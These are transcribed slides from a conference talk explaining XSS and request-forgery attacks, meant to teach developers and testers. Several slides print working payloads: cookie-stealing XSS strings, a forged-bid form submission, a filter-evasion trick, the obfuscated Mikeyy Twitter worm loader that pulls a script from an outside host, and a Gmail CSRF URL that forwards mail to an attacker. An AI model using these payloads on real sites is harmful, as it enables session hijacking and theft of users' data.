VodQA3_PenetrationTesting_AmitDhakkad

28
AMIT DHAKAD Application Developer Is considered a “survivor” Likes To Read About Black Magic & Illusions

description

This was a full length talk presented by Amit Dhakkad in vodQA-3 : A QA Meet held in ThoughtWorks, Pune.

Transcript of VodQA3_PenetrationTesting_AmitDhakkad

Page 1: VodQA3_PenetrationTesting_AmitDhakkad

AMIT DHAKAD

Application Developer

Is considered a “survivor”

Likes To Read About Black Magic & Illusions

Page 2: VodQA3_PenetrationTesting_AmitDhakkad

What, why and how’s of

Penetration Testing

- Amit DhakadDeveloper

Page 3: VodQA3_PenetrationTesting_AmitDhakkad

What do I plan to cover?

What is Penetration Testing?

XSS What is it? Types of XSS

Reflective XSS Stored XSS

Request Forgery What is it? Types of Request Forgery

On-site request forgery Cross-site request forgery

Demo Attack mechanisms

Real world examples

Why do we need to pay attention?

Page 4: VodQA3_PenetrationTesting_AmitDhakkad

Penetration TestingSimulating a malicious attack on a

system

Page 5: VodQA3_PenetrationTesting_AmitDhakkad

Cross-site scripting (XSS)Injecting javascript through user-

controllable fields

Page 6: VodQA3_PenetrationTesting_AmitDhakkad

Reflective XSSInjecting javascript using url

parameters

Page 7: VodQA3_PenetrationTesting_AmitDhakkad

Diagram courtesy : The Web Application Hacker’s Handbook

Page 8: VodQA3_PenetrationTesting_AmitDhakkad

Attack:

http://localhost:3000/pure-reflective-xss?query=title"onclick="window.location.href=('http://localhost:3000/log?message='%2Bdocument.cookie)

Page 9: VodQA3_PenetrationTesting_AmitDhakkad

Stored XSSExploiting server’s ability to persist

Page 10: VodQA3_PenetrationTesting_AmitDhakkad

Diagram courtesy : The Web Application Hacker’s Handbook

Page 11: VodQA3_PenetrationTesting_AmitDhakkad

Attack:

Image url is set to

http://www.myflorida.org.uk/images/disney_gif/Donald.gif"onmouseover="window.location.href=('http://localhost:3000/log?message='+document.cookie)

Page 12: VodQA3_PenetrationTesting_AmitDhakkad

Request ForgeryPerform unwitting actions on behalf of

the user

Page 13: VodQA3_PenetrationTesting_AmitDhakkad

On-site Request Forgery (OSRF)From same domain

Page 14: VodQA3_PenetrationTesting_AmitDhakkad

Attack with XSS:

Image url is set to

http://www.myflorida.org.uk/images/disney_gif/Donald.gif“ onmouseover="var form=document.getElementById('new_bid'); form.bid_amount.value=100;form.submit();

Page 15: VodQA3_PenetrationTesting_AmitDhakkad

Attack without XSS:

Image url is set to

/bids?bid[amount]=500&bid[auction_id]=1

Page 16: VodQA3_PenetrationTesting_AmitDhakkad

Cross-site Request Forgery (CSRF)

From a different domain

Page 17: VodQA3_PenetrationTesting_AmitDhakkad

Same origin policy A page residing on one domain can cause an arbitrary

request to be made to another domain, but it cannot itself process the data returned from that request.

A page residing on one domain can load a script from another domain and execute this within its own context.

Page 18: VodQA3_PenetrationTesting_AmitDhakkad

What can you do with XSS and Request Forgery?

Session hijacking

Performing arbitrary actions

Disclosure of user data

Page 19: VodQA3_PenetrationTesting_AmitDhakkad

Real world attacks

Page 20: VodQA3_PenetrationTesting_AmitDhakkad

MySpace worm by Samy (XSS + OSRF)

Bypassed all filters and added a script to his profile

The script did two things: Added the visiting user as a friend The script got copied into the user’s profile Anyone visiting the new infected user also got added as Samy’s

friend.

Page 21: VodQA3_PenetrationTesting_AmitDhakkad

• Protection:• MySpace strips out the word "onreadystatechange" which is

necessary for XML-HTTP requests

• Attack:• eval('xmlhttp.onread' + 'ystatechange = callback');

Page 22: VodQA3_PenetrationTesting_AmitDhakkad

Ebay – discovered by Dave Armstrong (OSRF)

Crafted url set as image url

Arbitrary bid was placed on behalf of the visiting user

Page 23: VodQA3_PenetrationTesting_AmitDhakkad

Mikeyy twitter worm (XSS + OSRF)

Implemented by a 17-year old boy

"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>

-- "<script src="http://www.stalkdaily.com/ajax.js"></script>"

Visiting user got infected

Infected users began twitting unwittingly.

Page 24: VodQA3_PenetrationTesting_AmitDhakkad

Gmail vulnerability – discovered by Petko Petkov (CSRF)

http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&[email protected]&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter

Add filter to forward all emails to the attacker’s email address

Page 25: VodQA3_PenetrationTesting_AmitDhakkad

Why we need to pay attention?

Shift is towards attacking clients

Technologies don’t provide strong protection

Considered as lame attacks

Identification using automated tools is difficult

Penetration testing is considered as a separate vertical

Page 26: VodQA3_PenetrationTesting_AmitDhakkad

Break your own walls before anyone else does it

Page 27: VodQA3_PenetrationTesting_AmitDhakkad

Q & A

Page 28: VodQA3_PenetrationTesting_AmitDhakkad

Thank you